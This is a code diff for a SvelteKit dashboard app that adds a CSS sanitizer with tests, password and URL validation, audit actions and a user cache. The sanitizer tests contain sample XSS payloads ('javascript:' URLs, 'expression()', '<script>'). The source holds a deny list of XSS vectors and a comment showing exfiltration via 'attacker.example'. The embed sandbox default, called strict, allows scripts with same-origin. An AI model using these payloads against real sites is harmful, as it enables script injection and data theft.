*/
|
||||
export async function ensureUploadsDir(subdir?: string): Promise<string> {
|
||||
const dir = subdir ? join(getUploadsDir(), subdir) : getUploadsDir();
|
||||
await mkdir(dir, { recursive: true });
|
||||
return dir;
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
import * as userService from '$lib/server/services/userService.js';
|
||||
import { UserRole } from '$lib/utils/constants.js';
|
||||
|
||||
interface CachedUser {
|
||||
readonly id: string;
|
||||
readonly email: string;
|
||||
readonly displayName: string;
|
||||
readonly avatarUrl: string | null;
|
||||
readonly role: 'admin' | 'user';
|
||||
readonly cachedAt: number;
|
||||
}
|
||||
|
||||
const USER_CACHE_TTL_MS = 30_000;
|
||||
const USER_CACHE_MAX = 5_000;
|
||||
const cache = new Map<string, CachedUser>();
|
||||
|
||||
function pruneExpired(now: number): void {
|
||||
for (const [k, v] of cache) {
|
||||
if (now - v.cachedAt >= USER_CACHE_TTL_MS) cache.delete(k);
|
||||
if (cache.size <= USER_CACHE_MAX) break;
|
||||
}
|
||||
// If still over cap after pruning expired, drop the oldest insert.
|
||||
while (cache.size > USER_CACHE_MAX) {
|
||||
const first = cache.keys().next().value;
|
||||
if (first === undefined) break;
|
||||
cache.delete(first);
|
||||
}
|
||||
}
|
||||
|
||||
function narrowRole(role: string): 'admin' | 'user' {
|
||||
return role === UserRole.ADMIN ? 'admin' : 'user';
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a user for `event.locals.user`, returning the public shape only.
|
||||
* Caches results for USER_CACHE_TTL_MS to avoid a Prisma round-trip on every
|
||||
* authenticated request (the JWT payload is trusted for id/email/role; we hit
|
||||
* the DB only for displayName + avatarUrl).
|
||||
*/
|
||||
export async function loadUserForLocals(userId: string): Promise<App.Locals['user']> {
|
||||
const now = Date.now();
|
||||
const hit = cache.get(userId);
|
||||
if (hit && now - hit.cachedAt < USER_CACHE_TTL_MS) {
|
||||
return {
|
||||
id: hit.id,
|
||||
email: hit.email,
|
||||
displayName: hit.displayName,
|
||||
avatarUrl: hit.avatarUrl,
|
||||
role: hit.role
|
||||
};
|
||||
}
|
||||
|
||||
const user = await userService.findById(userId);
|
||||
const entry: CachedUser = {
|
||||
id: user.id,
|
||||
email: user.email,
|
||||
displayName: user.displayName,
|
||||
avatarUrl: user.avatarUrl ?? null,
|
||||
role: narrowRole(user.role),
|
||||
cachedAt: now
|
||||
};
|
||||
cache.set(userId, entry);
|
||||
if (cache.size > USER_CACHE_MAX) pruneExpired(now);
|
||||
return {
|
||||
id: entry.id,
|
||||
email: entry.email,
|
||||
displayName: entry.displayName,
|
||||
avatarUrl: entry.avatarUrl,
|
||||
role: entry.role
|
||||
};
|
||||
}
|
||||
|
||||
export function invalidateUserCache(userId: string): void {
|
||||
cache.delete(userId);
|
||||
}
|
||||
|
||||
export function clearUserCache(): void {
|
||||
cache.clear();
|
||||
}
|
||||
@@ -29,7 +29,7 @@ class SearchStore {
|
||||
|
||||
/** Grouped results for rendering, preserving group order. */
|
||||
get grouped(): SearchGroup[] {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const map = new Map<string, SearchResultItem[]>();
|
||||
for (const item of this.results) {
|
||||
const existing = map.get(item.type);
|
||||
|
||||
+16
-40
@@ -1,4 +1,19 @@
|
||||
import type { IconType, HealthcheckMethod, AppStatusValue } from '$lib/utils/constants';
|
||||
import type { IconType, AppStatusValue } from '$lib/utils/constants';
|
||||
import type { z } from 'zod';
|
||||
import type {
|
||||
createAppSchema,
|
||||
updateAppSchema
|
||||
} from '$lib/utils/validators';
|
||||
|
||||
/**
|
||||
* Input types are derived from the Zod schemas so they cannot drift from the
|
||||
* runtime-validated shape. Output (record) types remain hand-written because
|
||||
* Prisma's generated types don't directly expose them in a stable way.
|
||||
*/
|
||||
export type CreateAppInput = z.infer<typeof createAppSchema> & {
|
||||
readonly createdById?: string;
|
||||
};
|
||||
export type UpdateAppInput = z.infer<typeof updateAppSchema>;
|
||||
|
||||
export interface AppRecord {
|
||||
readonly id: string;
|
||||
@@ -22,43 +37,6 @@ export interface AppRecord {
|
||||
readonly updatedAt: Date;
|
||||
}
|
||||
|
||||
export interface CreateAppInput {
|
||||
readonly name: string;
|
||||
readonly url: string;
|
||||
readonly icon?: string;
|
||||
readonly iconType?: IconType;
|
||||
readonly description?: string;
|
||||
readonly category?: string;
|
||||
readonly tags?: string;
|
||||
readonly healthcheckEnabled?: boolean;
|
||||
readonly healthcheckInterval?: number;
|
||||
readonly healthcheckMethod?: HealthcheckMethod;
|
||||
readonly healthcheckExpectedStatus?: number;
|
||||
readonly healthcheckTimeout?: number;
|
||||
readonly integrationType?: string | null;
|
||||
readonly integrationConfig?: string | null;
|
||||
readonly integrationEnabled?: boolean;
|
||||
readonly createdById?: string;
|
||||
}
|
||||
|
||||
export interface UpdateAppInput {
|
||||
readonly name?: string;
|
||||
readonly url?: string;
|
||||
readonly icon?: string | null;
|
||||
readonly iconType?: IconType;
|
||||
readonly description?: string | null;
|
||||
readonly category?: string | null;
|
||||
readonly tags?: string;
|
||||
readonly healthcheckEnabled?: boolean;
|
||||
readonly healthcheckInterval?: number;
|
||||
readonly healthcheckMethod?: HealthcheckMethod;
|
||||
readonly healthcheckExpectedStatus?: number;
|
||||
readonly healthcheckTimeout?: number;
|
||||
readonly integrationType?: string | null;
|
||||
readonly integrationConfig?: string | null;
|
||||
readonly integrationEnabled?: boolean;
|
||||
}
|
||||
|
||||
export interface AppStatusRecord {
|
||||
readonly id: string;
|
||||
readonly appId: string;
|
||||
@@ -67,8 +45,6 @@ export interface AppStatusRecord {
|
||||
readonly checkedAt: Date;
|
||||
}
|
||||
|
||||
// --- New types for Phases 4-7 ---
|
||||
|
||||
export interface AppLinkRecord {
|
||||
readonly id: string;
|
||||
readonly appId: string;
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { sanitizeCss, scopeCss } from '../cssSanitize.js';
|
||||
|
||||
describe('sanitizeCss', () => {
|
||||
describe('legitimate CSS', () => {
|
||||
it('keeps simple selectors', () => {
|
||||
const input = 'body { background: red; color: blue; }';
|
||||
expect(sanitizeCss(input)).toContain('background: red');
|
||||
});
|
||||
|
||||
it('keeps @media queries', () => {
|
||||
const input = '@media (max-width: 768px) { .foo { display: none; } }';
|
||||
const out = sanitizeCss(input);
|
||||
expect(out).toContain('@media');
|
||||
expect(out).toContain('display: none');
|
||||
});
|
||||
|
||||
it('strips comments', () => {
|
||||
const input = '/* secret */ .foo { color: red; }';
|
||||
expect(sanitizeCss(input)).not.toContain('secret');
|
||||
});
|
||||
});
|
||||
|
||||
describe('XSS vectors', () => {
|
||||
it('strips expression()', () => {
|
||||
const out = sanitizeCss('.foo { width: expression(alert(1)); }');
|
||||
expect(out).not.toContain('expression(');
|
||||
});
|
||||
|
||||
it('strips Unicode-escaped expression — \\65xpression', () => {
|
||||
const out = sanitizeCss('.foo { width: \\65xpression(alert(1)); }');
|
||||
expect(out).not.toContain('expression(');
|
||||
});
|
||||
|
||||
it('strips javascript: URLs', () => {
|
||||
const out = sanitizeCss('.foo { background: url(javascript:alert(1)); }');
|
||||
expect(out).not.toContain('javascript:');
|
||||
});
|
||||
|
||||
it('strips behavior:', () => {
|
||||
const out = sanitizeCss('.foo { behavior: url(#bad); }');
|
||||
expect(out).not.toContain('behavior:');
|
||||
});
|
||||
|
||||
it('strips -moz-binding:', () => {
|
||||
const out = sanitizeCss('.foo { -moz-binding: url(#bad); }');
|
||||
expect(out).not.toContain('-moz-binding:');
|
||||
});
|
||||
|
||||
it('strips <script> tags', () => {
|
||||
const out = sanitizeCss('<script>alert(1)</script> .foo { color: red }');
|
||||
expect(out).not.toContain('<script');
|
||||
});
|
||||
});
|
||||
|
||||
describe('forbidden at-rules', () => {
|
||||
it('drops @import with whitespace', () => {
|
||||
const out = sanitizeCss('@import url("evil.css"); body { color: red; }');
|
||||
expect(out).not.toContain('@import');
|
||||
expect(out).toContain('color: red');
|
||||
});
|
||||
|
||||
it('drops @import without whitespace', () => {
|
||||
// Previously a regex with `\s+` would miss this form.
|
||||
const out = sanitizeCss('@import"evil.css"; body { color: red; }');
|
||||
expect(out).not.toContain('@import');
|
||||
expect(out).toContain('color: red');
|
||||
});
|
||||
|
||||
it('drops @charset', () => {
|
||||
expect(sanitizeCss('@charset "utf-8"; body { color: red }')).not.toContain('@charset');
|
||||
});
|
||||
|
||||
it('drops Unicode-escaped @\\69mport', () => {
|
||||
const out = sanitizeCss('@\\69mport "evil.css"; body { color: red; }');
|
||||
expect(out).not.toContain('@import');
|
||||
});
|
||||
});
|
||||
|
||||
describe('url() handling', () => {
|
||||
it('rejects data:text inside url()', () => {
|
||||
const out = sanitizeCss('.foo { background: url(data:text/html,<script>); }');
|
||||
expect(out).not.toContain('data:text');
|
||||
});
|
||||
|
||||
it('keeps http(s) url()', () => {
|
||||
const out = sanitizeCss('.foo { background: url(https://example.com/x.png); }');
|
||||
expect(out).toContain('https://example.com/x.png');
|
||||
});
|
||||
|
||||
it('keeps relative url()', () => {
|
||||
const out = sanitizeCss('.foo { background: url(/uploads/x.png); }');
|
||||
expect(out).toContain('/uploads/x.png');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('scopeCss', () => {
|
||||
it('prefixes top-level selectors', () => {
|
||||
const out = scopeCss('body { display: none; }');
|
||||
expect(out).toContain('.custom-css-scope body');
|
||||
});
|
||||
|
||||
it('prefixes multiple selectors in a list', () => {
|
||||
const out = scopeCss('a, button { color: red; }');
|
||||
expect(out).toContain('.custom-css-scope a');
|
||||
expect(out).toContain('.custom-css-scope button');
|
||||
});
|
||||
|
||||
it('does not double-prefix already-scoped selectors', () => {
|
||||
const out = scopeCss('.custom-css-scope .foo { color: red; }');
|
||||
expect(out).not.toMatch(/\.custom-css-scope\s+\.custom-css-scope/);
|
||||
});
|
||||
|
||||
it('recurses into @media blocks', () => {
|
||||
const out = scopeCss('@media (max-width: 768px) { body { display: none; } }');
|
||||
expect(out).toContain('.custom-css-scope body');
|
||||
});
|
||||
|
||||
it('returns empty for empty input', () => {
|
||||
expect(scopeCss('')).toBe('');
|
||||
});
|
||||
});
|
||||
@@ -133,14 +133,32 @@ export const AuditAction = {
|
||||
USER_UPDATED: 'user_updated',
|
||||
BOARD_CREATED: 'board_created',
|
||||
BOARD_DELETED: 'board_deleted',
|
||||
BOARD_UPDATED: 'board_updated',
|
||||
APP_CREATED: 'app_created',
|
||||
APP_DELETED: 'app_deleted',
|
||||
APP_UPDATED: 'app_updated',
|
||||
SETTINGS_UPDATED: 'settings_updated',
|
||||
IMPORT: 'import',
|
||||
EXPORT: 'export',
|
||||
BACKUP_CREATED: 'backup_created',
|
||||
BACKUP_RESTORED: 'backup_restored',
|
||||
BACKUP_DELETED: 'backup_deleted'
|
||||
BACKUP_DELETED: 'backup_deleted',
|
||||
LOGIN_SUCCESS: 'login_success',
|
||||
LOGIN_FAILED: 'login_failed',
|
||||
LOGOUT: 'logout',
|
||||
SESSION_REVOKED: 'session_revoked',
|
||||
API_TOKEN_CREATED: 'api_token_created',
|
||||
API_TOKEN_REVOKED: 'api_token_revoked',
|
||||
INVITE_CREATED: 'invite_created',
|
||||
INVITE_USED: 'invite_used',
|
||||
INVITE_REVOKED: 'invite_revoked',
|
||||
OAUTH_LOGIN: 'oauth_login',
|
||||
OAUTH_USER_PROVISIONED: 'oauth_user_provisioned',
|
||||
PERMISSION_GRANTED: 'permission_granted',
|
||||
PERMISSION_REVOKED: 'permission_revoked',
|
||||
PASSWORD_CHANGED: 'password_changed',
|
||||
PASSWORD_RESET_REQUESTED: 'password_reset_requested',
|
||||
PASSWORD_RESET_COMPLETED: 'password_reset_completed'
|
||||
} as const;
|
||||
export type AuditAction = (typeof AuditAction)[keyof typeof AuditAction];
|
||||
|
||||
@@ -160,7 +178,33 @@ export const DEFAULTS = {
|
||||
HEALTHCHECK_METHOD: 'GET',
|
||||
JWT_EXPIRY: '15m',
|
||||
REFRESH_TOKEN_EXPIRY_DAYS: 7,
|
||||
REMEMBER_ME_REFRESH_TOKEN_EXPIRY_DAYS: 30,
|
||||
DEFAULT_THEME: 'dark',
|
||||
DEFAULT_PRIMARY_COLOR: '#6366f1',
|
||||
SYSTEM_SETTINGS_ID: 'singleton'
|
||||
SYSTEM_SETTINGS_ID: 'singleton',
|
||||
SALT_ROUNDS: 12,
|
||||
INVITE_DEFAULT_EXPIRY_DAYS: 7,
|
||||
AUDIT_LOG_RETENTION_DAYS: 90,
|
||||
APP_STATUS_RETENTION_HOURS: 24,
|
||||
APP_CLICK_RETENTION_DAYS: 90,
|
||||
NOTIFICATION_RETENTION_DAYS: 30,
|
||||
HEALTHCHECK_CONCURRENCY: 8,
|
||||
MIN_PASSWORD_LENGTH: 8,
|
||||
MIN_ADMIN_PASSWORD_LENGTH: 12,
|
||||
MAX_PASSWORD_LENGTH: 128,
|
||||
MAX_UPLOAD_SIZE_BYTES: 5 * 1024 * 1024,
|
||||
MAX_REMOTE_RESPONSE_BYTES: 1 * 1024 * 1024,
|
||||
REMOTE_FETCH_DEFAULT_TIMEOUT_MS: 10_000,
|
||||
BCRYPT_DUMMY_HASH: '$2a$12$abcdefghijklmnopqrstuuvwxyz012345678901234567890123ab'
|
||||
} as const;
|
||||
|
||||
// Forbidden JWT_SECRET / encryption key placeholder values
|
||||
export const FORBIDDEN_SECRETS = new Set<string>([
|
||||
'change-me-to-a-random-64-char-string',
|
||||
'change-me',
|
||||
'changeme',
|
||||
'secret',
|
||||
'jwt-secret'
|
||||
]);
|
||||
|
||||
export const MIN_SECRET_LENGTH = 32;
|
||||
|
||||
@@ -0,0 +1,258 @@
|
||||
/**
|
||||
* CSS sanitizer for user-supplied custom CSS (board / system settings).
|
||||
*
|
||||
* Strategy:
|
||||
* 1. Decode CSS unicode escapes (`\65`/`\65\20`/`\000065`) BEFORE pattern
|
||||
* matching so `expr\65ssion(` cannot bypass via escape obfuscation.
|
||||
* 2. Reject @import / @charset / @namespace / @document outright; allow only
|
||||
* `@media`, `@supports`, `@keyframes`, `@font-face`, `@page`.
|
||||
* 3. Block known XSS vectors (`expression(`, `javascript:`, `vbscript:`,
|
||||
* `behavior:`, `-moz-binding:`, `<script`).
|
||||
* 4. Strip `url(...)` arguments unless they reference safe schemes (relative,
|
||||
* data:image/*, https:, http:) — this defeats blind exfiltration via
|
||||
* `background: url(https://attacker.example/log?c=...)`.
|
||||
* `url(data:text/*)` and `url(data:application/*)` are rejected.
|
||||
*
|
||||
* Notes:
|
||||
* - This isn't a full CSS parser. We accept that complex selectors with
|
||||
* attribute-value selectors against form fields (e.g. `input[value="a"]`)
|
||||
* are still possible — they're a known CSS-exfiltration vector but require
|
||||
* a malicious admin actor. Document this explicitly and offer a future
|
||||
* postcss-based hardening pass.
|
||||
* - The output is intended to be wrapped in `.custom-css-scope { ... }`
|
||||
* by the consumer.
|
||||
*/
|
||||
|
||||
const FORBIDDEN_AT_RULES = new Set([
|
||||
'import',
|
||||
'charset',
|
||||
'namespace',
|
||||
'document',
|
||||
'-moz-document',
|
||||
'apply',
|
||||
'use'
|
||||
]);
|
||||
|
||||
const FORBIDDEN_SUBSTRINGS = [
|
||||
'expression(',
|
||||
'javascript:',
|
||||
'vbscript:',
|
||||
'behavior:',
|
||||
'-moz-binding:',
|
||||
'<script',
|
||||
'</script',
|
||||
'<iframe',
|
||||
'<object',
|
||||
'<embed'
|
||||
];
|
||||
|
||||
function decodeCssEscapes(input: string): string {
|
||||
// `\<hex 1-6>` optionally followed by a single whitespace char.
|
||||
// Decodes \65 → 'e', \000065 → 'e', \65\20 → 'e '.
|
||||
return input.replace(/\\([0-9a-fA-F]{1,6})(\s)?/g, (_match, hex, ws) => {
|
||||
const codePoint = parseInt(hex, 16);
|
||||
if (Number.isNaN(codePoint) || codePoint > 0x10ffff || codePoint === 0) {
|
||||
return ws ?? '';
|
||||
}
|
||||
try {
|
||||
const ch = String.fromCodePoint(codePoint);
|
||||
return ch + (ws === undefined ? '' : '');
|
||||
} catch {
|
||||
return '';
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function stripUrls(input: string): string {
|
||||
// Replace url(...) with a safe-or-empty equivalent.
|
||||
// Accept: url(relative), url(/abs), url(data:image/...), url(http(s)://...)
|
||||
// Reject: anything that decodes to javascript:, file:, data:text, etc.
|
||||
return input.replace(/url\s*\(\s*(['"]?)([^)'"]+)\1\s*\)/gi, (_match, q, raw) => {
|
||||
const cleaned = decodeCssEscapes(raw).trim();
|
||||
if (cleaned.length === 0) return `url(${q}${q})`;
|
||||
const lower = cleaned.toLowerCase();
|
||||
if (
|
||||
lower.startsWith('javascript:') ||
|
||||
lower.startsWith('vbscript:') ||
|
||||
lower.startsWith('file:') ||
|
||||
lower.startsWith('data:text/') ||
|
||||
lower.startsWith('data:application/')
|
||||
) {
|
||||
return 'url("")';
|
||||
}
|
||||
// Relative, absolute-path, https, http, data:image/* — allowed.
|
||||
return `url(${q}${cleaned}${q})`;
|
||||
});
|
||||
}
|
||||
|
||||
function dropForbiddenAtRules(input: string): string {
|
||||
// Match `@<name>...;` (single-line at-rules like @import / @charset) AND
|
||||
// `@<name> { ... }` blocks. We only strip the matching at-rule, keeping
|
||||
// surrounding content intact.
|
||||
let out = input;
|
||||
|
||||
// At-rules ending with semicolon. Use `\s*` (not `\s+`) so we also catch
|
||||
// `@import"evil.css";` (no whitespace between name and string).
|
||||
out = out.replace(/@([\w-]+)\s*[^;{}]*;/g, (m, name) => {
|
||||
return FORBIDDEN_AT_RULES.has(String(name).toLowerCase()) ? '' : m;
|
||||
});
|
||||
|
||||
// At-rules with blocks. Use a depth counter to find the matching `}`.
|
||||
const result: string[] = [];
|
||||
let i = 0;
|
||||
while (i < out.length) {
|
||||
if (out[i] === '@') {
|
||||
// Read at-rule name
|
||||
const nameMatch = /^@([\w-]+)/.exec(out.slice(i));
|
||||
if (nameMatch) {
|
||||
const name = nameMatch[1].toLowerCase();
|
||||
// Find next `{` or `;`
|
||||
let j = i + nameMatch[0].length;
|
||||
while (j < out.length && out[j] !== '{' && out[j] !== ';' && out[j] !== '}') j++;
|
||||
if (out[j] === '{') {
|
||||
// Find matching `}`
|
||||
let depth = 1;
|
||||
let k = j + 1;
|
||||
while (k < out.length && depth > 0) {
|
||||
if (out[k] === '{') depth++;
|
||||
else if (out[k] === '}') depth--;
|
||||
k++;
|
||||
}
|
||||
if (FORBIDDEN_AT_RULES.has(name)) {
|
||||
i = k;
|
||||
continue;
|
||||
}
|
||||
result.push(out.slice(i, k));
|
||||
i = k;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
result.push(out[i]);
|
||||
i++;
|
||||
}
|
||||
return result.join('');
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize untrusted CSS. Renderer should still wrap in a `.custom-css-scope`
|
||||
* selector at injection time (CustomCssInjector does this). Note: a `<style>`
|
||||
* tag's rules apply to the WHOLE document, so the wrapper div alone does not
|
||||
* scope rules — the consumer must use the scoping helper below if scoping is
|
||||
* desired. We keep sanitization separate from scoping so static settings can
|
||||
* choose to be global.
|
||||
*/
|
||||
export function sanitizeCss(input: string): string {
|
||||
if (!input) return '';
|
||||
const stripped = input.replace(/\/\*[\s\S]*?\*\//g, ''); // remove comments
|
||||
let cleaned = decodeCssEscapes(stripped);
|
||||
|
||||
const lower = cleaned.toLowerCase();
|
||||
for (const bad of FORBIDDEN_SUBSTRINGS) {
|
||||
if (lower.includes(bad)) {
|
||||
cleaned = cleaned.replace(new RegExp(escapeRegExp(bad), 'gi'), '');
|
||||
}
|
||||
}
|
||||
|
||||
cleaned = dropForbiddenAtRules(cleaned);
|
||||
cleaned = stripUrls(cleaned);
|
||||
|
||||
if (cleaned.length > 20_000) cleaned = cleaned.slice(0, 20_000);
|
||||
|
||||
return cleaned.trim();
|
||||
}
|
||||
|
||||
/**
|
||||
* Prefix every top-level CSS selector with `.custom-css-scope` so the user's
|
||||
* CSS only applies inside that wrapper. This is a best-effort prefixer that
|
||||
* respects nested `@media`/`@supports` blocks. For `@keyframes` and `@font-face`
|
||||
* the selector list is left untouched (they don't take selectors).
|
||||
*
|
||||
* Limitations:
|
||||
* - CSS nesting (`& > a`) is not normalized; if used, the first selector is
|
||||
* still prefixed but inner `&` references resolve against the prefixed parent.
|
||||
* - The function preserves whitespace approximately, not exactly.
|
||||
*/
|
||||
export function scopeCss(input: string, scope = '.custom-css-scope'): string {
|
||||
if (!input) return '';
|
||||
const out: string[] = [];
|
||||
let i = 0;
|
||||
|
||||
while (i < input.length) {
|
||||
// Walk to the next selector start: skip leading whitespace.
|
||||
const wsMatch = /^\s+/.exec(input.slice(i));
|
||||
if (wsMatch) {
|
||||
out.push(wsMatch[0]);
|
||||
i += wsMatch[0].length;
|
||||
continue;
|
||||
}
|
||||
|
||||
// At-rules with blocks: keep as-is, but recurse into block contents at depth 0.
|
||||
if (input[i] === '@') {
|
||||
const ruleMatch = /^@([\w-]+)[^;{}]*([;{])/.exec(input.slice(i));
|
||||
if (!ruleMatch) {
|
||||
out.push(input[i]);
|
||||
i++;
|
||||
continue;
|
||||
}
|
||||
const end = ruleMatch[2];
|
||||
const ruleLen = ruleMatch[0].length;
|
||||
out.push(input.slice(i, i + ruleLen));
|
||||
i += ruleLen;
|
||||
if (end === ';') continue;
|
||||
const name = ruleMatch[1].toLowerCase();
|
||||
const transparent = name === 'media' || name === 'supports' || name === 'document';
|
||||
// Find matching }
|
||||
let d = 1;
|
||||
let j = i;
|
||||
while (j < input.length && d > 0) {
|
||||
if (input[j] === '{') d++;
|
||||
else if (input[j] === '}') d--;
|
||||
if (d === 0) break;
|
||||
j++;
|
||||
}
|
||||
const blockBody = input.slice(i, j);
|
||||
out.push(transparent ? scopeCss(blockBody, scope) : blockBody);
|
||||
out.push(input[j] ?? '');
|
||||
i = j + 1;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Selector list ends at `{`.
|
||||
const braceIdx = input.indexOf('{', i);
|
||||
if (braceIdx === -1) {
|
||||
out.push(input.slice(i));
|
||||
break;
|
||||
}
|
||||
const selectorList = input.slice(i, braceIdx);
|
||||
const scoped = selectorList
|
||||
.split(',')
|
||||
.map((s) => {
|
||||
const t = s.trim();
|
||||
if (!t) return t;
|
||||
// Don't double-scope or scope :root / @-rule-like fragments.
|
||||
if (t.startsWith(scope)) return t;
|
||||
return `${scope} ${t}`;
|
||||
})
|
||||
.join(', ');
|
||||
out.push(scoped);
|
||||
|
||||
// Find matching } to keep block intact.
|
||||
let d = 1;
|
||||
let j = braceIdx + 1;
|
||||
while (j < input.length && d > 0) {
|
||||
if (input[j] === '{') d++;
|
||||
else if (input[j] === '}') d--;
|
||||
if (d === 0) break;
|
||||
j++;
|
||||
}
|
||||
out.push(input.slice(braceIdx, j + 1));
|
||||
i = j + 1;
|
||||
}
|
||||
|
||||
return out.join('');
|
||||
}
|
||||
|
||||
function escapeRegExp(s: string): string {
|
||||
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
||||
}
|
||||
@@ -11,28 +11,82 @@ import {
|
||||
CardSize,
|
||||
NotificationType,
|
||||
ApiTokenScope,
|
||||
AuditAction
|
||||
AuditAction,
|
||||
DEFAULTS
|
||||
} from './constants.js';
|
||||
|
||||
// --- Auth ---
|
||||
|
||||
const COMMON_PASSWORDS = new Set([
|
||||
'password',
|
||||
'password1',
|
||||
'12345678',
|
||||
'qwerty',
|
||||
'qwerty123',
|
||||
'letmein',
|
||||
'welcome',
|
||||
'admin',
|
||||
'administrator',
|
||||
'changeme',
|
||||
'iloveyou',
|
||||
'monkey'
|
||||
]);
|
||||
|
||||
function passwordPolicy(min: number) {
|
||||
return z
|
||||
.string()
|
||||
.min(min, `Password must be at least ${min} characters`)
|
||||
.max(DEFAULTS.MAX_PASSWORD_LENGTH, `Password must be at most ${DEFAULTS.MAX_PASSWORD_LENGTH} characters`)
|
||||
.refine((p) => !COMMON_PASSWORDS.has(p.toLowerCase()), {
|
||||
message: 'Password is too common'
|
||||
});
|
||||
}
|
||||
|
||||
export const userPasswordSchema = passwordPolicy(DEFAULTS.MIN_PASSWORD_LENGTH);
|
||||
export const adminPasswordSchema = passwordPolicy(DEFAULTS.MIN_ADMIN_PASSWORD_LENGTH);
|
||||
|
||||
/**
|
||||
* URL schema that only accepts http:// or https://. Use this everywhere we
|
||||
* accept a URL the server will later fetch or the browser will navigate to,
|
||||
* to block javascript:/data:/file: vectors.
|
||||
*/
|
||||
export const httpUrlSchema = z
|
||||
.string()
|
||||
.url('Invalid URL')
|
||||
.refine(
|
||||
(u) => {
|
||||
try {
|
||||
const p = new URL(u).protocol;
|
||||
return p === 'http:' || p === 'https:';
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
},
|
||||
{ message: 'Only http(s) URLs are allowed' }
|
||||
);
|
||||
|
||||
export const loginSchema = z.object({
|
||||
email: z.string().email('Invalid email address'),
|
||||
password: z.string().min(1, 'Password is required'),
|
||||
password: z.string().min(1, 'Password is required').max(DEFAULTS.MAX_PASSWORD_LENGTH),
|
||||
rememberMe: z.boolean().optional().default(false)
|
||||
});
|
||||
|
||||
export const registerSchema = z.object({
|
||||
email: z.string().email('Invalid email address'),
|
||||
password: z.string().min(6, 'Password must be at least 6 characters'),
|
||||
password: userPasswordSchema,
|
||||
displayName: z.string().min(1, 'Display name is required').max(100)
|
||||
});
|
||||
|
||||
export const changePasswordSchema = z.object({
|
||||
currentPassword: z.string().min(1).max(DEFAULTS.MAX_PASSWORD_LENGTH),
|
||||
newPassword: userPasswordSchema
|
||||
});
|
||||
|
||||
// --- User ---
|
||||
|
||||
export const createUserSchema = z.object({
|
||||
email: z.string().email('Invalid email address'),
|
||||
password: z.string().min(6).optional(),
|
||||
password: userPasswordSchema.optional(),
|
||||
displayName: z.string().min(1).max(100),
|
||||
avatarUrl: z.string().url().optional(),
|
||||
authProvider: z.enum([AuthMode.LOCAL, AuthMode.OAUTH]).optional(),
|
||||
@@ -65,7 +119,7 @@ export const updateGroupSchema = z.object({
|
||||
|
||||
export const createAppSchema = z.object({
|
||||
name: z.string().min(1, 'App name is required').max(200),
|
||||
url: z.string().url('Invalid URL'),
|
||||
url: httpUrlSchema,
|
||||
icon: z.string().max(500).optional(),
|
||||
iconType: z.enum([IconType.LUCIDE, IconType.SIMPLE, IconType.URL, IconType.EMOJI]).optional(),
|
||||
description: z.string().max(1000).optional(),
|
||||
@@ -83,7 +137,7 @@ export const createAppSchema = z.object({
|
||||
|
||||
export const updateAppSchema = z.object({
|
||||
name: z.string().min(1).max(200).optional(),
|
||||
url: z.string().url().optional(),
|
||||
url: httpUrlSchema.optional(),
|
||||
icon: z.string().max(500).nullable().optional(),
|
||||
iconType: z.enum([IconType.LUCIDE, IconType.SIMPLE, IconType.URL, IconType.EMOJI]).optional(),
|
||||
description: z.string().max(1000).nullable().optional(),
|
||||
@@ -150,12 +204,14 @@ export const updateSectionSchema = z.object({
|
||||
|
||||
// --- Widget Config Schemas ---
|
||||
|
||||
const httpUrl = httpUrlSchema;
|
||||
|
||||
export const appWidgetConfigSchema = z.object({
|
||||
appId: z.string().min(1, 'App ID is required')
|
||||
});
|
||||
|
||||
export const bookmarkWidgetConfigSchema = z.object({
|
||||
url: z.string().url('Invalid URL'),
|
||||
url: httpUrl,
|
||||
label: z.string().min(1, 'Label is required').max(200),
|
||||
icon: z.string().max(100).optional(),
|
||||
description: z.string().max(500).optional()
|
||||
@@ -167,9 +223,14 @@ export const noteWidgetConfigSchema = z.object({
|
||||
});
|
||||
|
||||
export const embedWidgetConfigSchema = z.object({
|
||||
url: z.string().url('Invalid URL'),
|
||||
url: httpUrl,
|
||||
height: z.number().int().min(100).max(2000).default(300),
|
||||
sandbox: z.string().max(200).optional()
|
||||
// Default to a strict sandbox; explicit override required to relax.
|
||||
sandbox: z
|
||||
.string()
|
||||
.max(200)
|
||||
.optional()
|
||||
.default('allow-scripts allow-same-origin allow-forms allow-popups')
|
||||
});
|
||||
|
||||
export const statusWidgetConfigSchema = z.object({
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
<script lang="ts">
|
||||
import { page } from '$app/stores';
|
||||
import { t } from 'svelte-i18n';
|
||||
import AmbientBackground from '$lib/components/background/AmbientBackground.svelte';
|
||||
import ErrorState from '$lib/components/ui/ErrorState.svelte';
|
||||
|
||||
const status = $derived($page.status);
|
||||
const message = $derived($page.error?.message ?? '');
|
||||
const code = $derived(($page.error as { code?: string } | null)?.code);
|
||||
|
||||
const titleKey = $derived.by(() => {
|
||||
if (status === 401) return 'error.unauthorized_title';
|
||||
if (status === 403) return 'error.forbidden_title';
|
||||
if (status === 404) return 'error.not_found_title';
|
||||
if (status === 429) return 'error.rate_limited_title';
|
||||
return 'error.generic_title';
|
||||
});
|
||||
const hintKey = $derived.by(() => {
|
||||
if (status === 401) return 'error.unauthorized_hint';
|
||||
if (status === 403) return 'error.forbidden_hint';
|
||||
if (status === 404) return 'error.not_found_hint';
|
||||
if (status === 429) return 'error.rate_limited_hint';
|
||||
return 'error.generic_hint';
|
||||
});
|
||||
|
||||
const title = $derived($t(titleKey));
|
||||
const hint = $derived($t(hintKey));
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>{status} — {$t('app_title')}</title>
|
||||
</svelte:head>
|
||||
|
||||
<AmbientBackground />
|
||||
|
||||
<ErrorState {status} {title} {hint} standalone>
|
||||
{#snippet details()}
|
||||
{#if message && message !== title}
|
||||
<details class="rounded-md bg-muted/40">
|
||||
<summary class="cursor-pointer p-3 text-xs text-muted-foreground hover:text-foreground">
|
||||
{$t('error.technical_details')}
|
||||
</summary>
|
||||
<pre
|
||||
